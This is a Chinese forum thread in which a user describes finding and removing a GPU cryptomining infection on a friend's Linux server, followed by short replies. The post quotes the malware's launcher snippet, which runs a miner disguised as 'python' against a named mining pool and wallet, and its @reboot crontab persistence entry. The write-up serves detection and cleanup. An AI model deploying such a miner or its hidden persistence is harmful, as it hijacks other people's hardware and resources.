上一主题 下一主题
ScriptCat,新一代的脚本管理器脚本站,与全世界分享你的用户脚本油猴脚本开发指南教程目录
返回列表 发新帖

记一次挖矿病毒清除记录(很水)

[复制链接]
  • TA的每日心情

    6 天前
  • 签到天数: 28 天

    [LV.4]偶尔看看III

    14

    主题

    118

    帖子

    120

    积分

    荣誉开发者

    Rank: 10Rank: 10Rank: 10

    积分
    120

    国庆纪念章中秋纪念章

    发表于 2022-4-14 12:50:59 | 显示全部楼层 | 阅读模式

    本帖最后由 执念e1 于 2022-4-14 12:53 编辑

    分析背景
    一个朋友做机器学习的机器疑似中了挖矿,显卡被python起来的进程100%占用。每次杀死进程后重启,进程就回来了,让给看看排查一下。这篇文章会很水,只有几条简单的命令,后续并没有对入侵路径进行回溯。但还是抱着分享的心态写一下,希望对没接触过的部分朋友有帮助。
    机器状态
    如下图,查看显卡的状态,几个python进程百分之百占用。

    图片.png
    使用top命令看一下

    图片.png
    其实上面两图都是朋友发过来的,直接看图也没法定位出具体问题来。

    然后跟朋友要了vpn和机器的账号密码直接root登录。

    排查过程
    因为朋友说重启后显卡还是被占用状态。

    直接执行

    crontab -l
    看下是否有可以进程,一步到位。看这个路径形式,基本有谱了。又问了一下朋友最早发现显卡状态的时间与upd文件写入的时间,基本吻合。
    图片.png
    查看了下.unix-front路径,存在这些文件。

    图片.png
    在其中某个文件里面发现如下代码

    if [ ! -d "proxy" ];    then proxy=`cat proxy` $ifsudo nohup ./python -a ethash -o stratum+ssl://node.universitynetservice1979.info:12020 -u 0xfff23333c1cb3a3c9db8a0d781383cdc2c00b6da.$User --proxy $proxy>>/dev/null & else $ifsudo nohup ./python -a ethash -o stratum+ssl://node.universitynetservice1979.info:12020 -u 0xfff23333c1cb3a3c9db8a0d781383cdc2c00b6da.$User >>/dev/null & fi

    其实看到这个协议基本就稳了,占用显卡挖矿的病毒就是这个导致的。
    图片.png

    清除善后
    执行如下指令,清空原来的开机自启动的配置。

    crontab -r
    当然,删除之前一定保留下原来的配置,虽然这次基本稳当了。但万一在处理客户系统时候删错,因此宕机,没法恢复,就凉凉了。

    @reboot /bin/.unix-font/upd >/dev/null 2>&1

    删除后,reboot重启机器,发现显卡降了下来,
    图片.png
    确定了是这个自启动的原因,直接删除。

    捎带看了一眼/etc/passwd文件,发现存在一个可疑账户,问了下,都没见过,使用pwck修复/etc/passwd文件然后直接删除。
    图片.png
    其他关于溯源,正常来说是要分析一下溯源,他们之前已经进行了很多操作了,一些日志也被破坏了。加上毕竟友情协助,就到这里啦。

    希望对大家有一丝的帮助

    640.png
    640.png
    图片.png
    图片.png
    图片.png
    图片.png
    已有1人评分油猫币 理由
    王一之 + 2 前几天才中挖坑。。。。

    查看全部评分 总评分:油猫币 +2 

    摸鱼中
  • TA的每日心情

    6 天前
  • 签到天数: 28 天

    [LV.4]偶尔看看III

    14

    主题

    118

    帖子

    120

    积分

    荣誉开发者

    Rank: 10Rank: 10Rank: 10

    积分
    120

    国庆纪念章中秋纪念章

    发表于 2022-4-14 12:58:31 | 显示全部楼层
    https://xz.aliyun.com/t/11102
    大佬写的个挖矿检测心得,有兴趣的可以看看,我这看了几下就头疼,以后
    自己碰到了
    在说吧
    摸鱼中
    回复

    使用道具 举报

  • TA的每日心情

    6 天前
  • 签到天数: 28 天

    [LV.4]偶尔看看III

    14

    主题

    118

    帖子

    120

    积分

    荣誉开发者

    Rank: 10Rank: 10Rank: 10

    积分
    120

    国庆纪念章中秋纪念章

    发表于 2022-4-14 13:00:17 | 显示全部楼层
    过两天如果没事的话预计会出一篇关于漏洞复现的帖子
    到时候大佬们来交流交流哈

    点评

    大概率是Dirty Pipe提权漏洞  发表于 2022-4-14 13:01
    摸鱼中
    回复

    使用道具 举报

  • TA的每日心情
    慵懒
    3 天前
  • 签到天数: 43 天

    [LV.5]常住居民I

    128

    主题

    1663

    帖子

    1867

    积分

    管理员

    Rank: 10Rank: 10Rank: 10

    积分
    1867

    猫咪币纪念章热心会员活跃会员突出贡献三好学生中秋纪念章国庆纪念章

    发表于 2022-4-14 14:33:41 | 显示全部楼层
    我机器前两天也被挖坑了。。。。不知道是什么原因,已经停了换服务器,反正也是快到期的
    上不慕古,下不肖俗。为疏为懒,不敢为狂。为拙为愚,不敢为恶。/ 微信公众号:一之哥哥
    回复

    使用道具 举报

  • TA的每日心情
    慵懒
    3 天前
  • 签到天数: 43 天

    [LV.5]常住居民I

    128

    主题

    1663

    帖子

    1867

    积分

    管理员

    Rank: 10Rank: 10Rank: 10

    积分
    1867

    猫咪币纪念章热心会员活跃会员突出贡献三好学生中秋纪念章国庆纪念章

    发表于 2022-4-14 14:37:35 | 显示全部楼层
    排版有点乱,是编辑器的问题吗?

    我处理了一下,好像有些图片没用上
    上不慕古,下不肖俗。为疏为懒,不敢为狂。为拙为愚,不敢为恶。/ 微信公众号:一之哥哥
    回复

    使用道具 举报

  • TA的每日心情

    6 天前
  • 签到天数: 28 天

    [LV.4]偶尔看看III

    14

    主题

    118

    帖子

    120

    积分

    荣誉开发者

    Rank: 10Rank: 10Rank: 10

    积分
    120

    国庆纪念章中秋纪念章

    发表于 2022-4-14 15:27:40 | 显示全部楼层
    王一之 发表于 2022-4-14 14:37
    排版有点乱,是编辑器的问题吗?

    我处理了一下,好像有些图片没用上

    不知道,最下面几张图片本来已经删了,但是发出来发现在最下面,点开编辑也没显示有,试了几次就没多管了
    摸鱼中
    回复

    使用道具 举报

  • TA的每日心情
    慵懒
    3 天前
  • 签到天数: 43 天

    [LV.5]常住居民I

    128

    主题

    1663

    帖子

    1867

    积分

    管理员

    Rank: 10Rank: 10Rank: 10

    积分
    1867

    猫咪币纪念章热心会员活跃会员突出贡献三好学生中秋纪念章国庆纪念章

    发表于 2022-4-14 15:32:21 | 显示全部楼层
    执念e1 发表于 2022-4-14 15:27
    不知道,最下面几张图片本来已经删了,但是发出来发现在最下面,点开编辑也没显示有,试了几次就没多管了 ...

    好像要返回默认的编辑器编辑一次
    上不慕古,下不肖俗。为疏为懒,不敢为狂。为拙为愚,不敢为恶。/ 微信公众号:一之哥哥
    回复

    使用道具 举报

  • TA的每日心情
    无聊
    2022-4-18 01:37
  • 签到天数: 30 天

    [LV.5]常住居民I

    302

    主题

    2583

    帖子

    2651

    积分

    荣誉开发者

    非物质文化遗产社会摇传承人

    Rank: 10Rank: 10Rank: 10

    积分
    2651

    猫咪币纪念章

    发表于 2022-4-14 17:41:19 | 显示全部楼层
    哥哥原创的码
    还是挺厉害的!
    混的人。
    ------------------------------------------
    進撃!永遠の帝国の破壊虎---李恒道
    个人宣言:この世界で私に胜てる人とコードはまだ生まれていません。死ぬのが怖くなければ来てください。
    回复

    使用道具 举报

  • TA的每日心情
    慵懒
    12 小时前
  • 签到天数: 16 天

    [LV.4]偶尔看看III

    3

    主题

    42

    帖子

    57

    积分

    初级工程师

    Rank: 4

    积分
    57
    发表于 2022-4-15 10:08:26 | 显示全部楼层
    这里是要发展成吾爱的态势?
    回复

    使用道具 举报

    发表回复

    本版积分规则

    快速回复 返回顶部 返回列表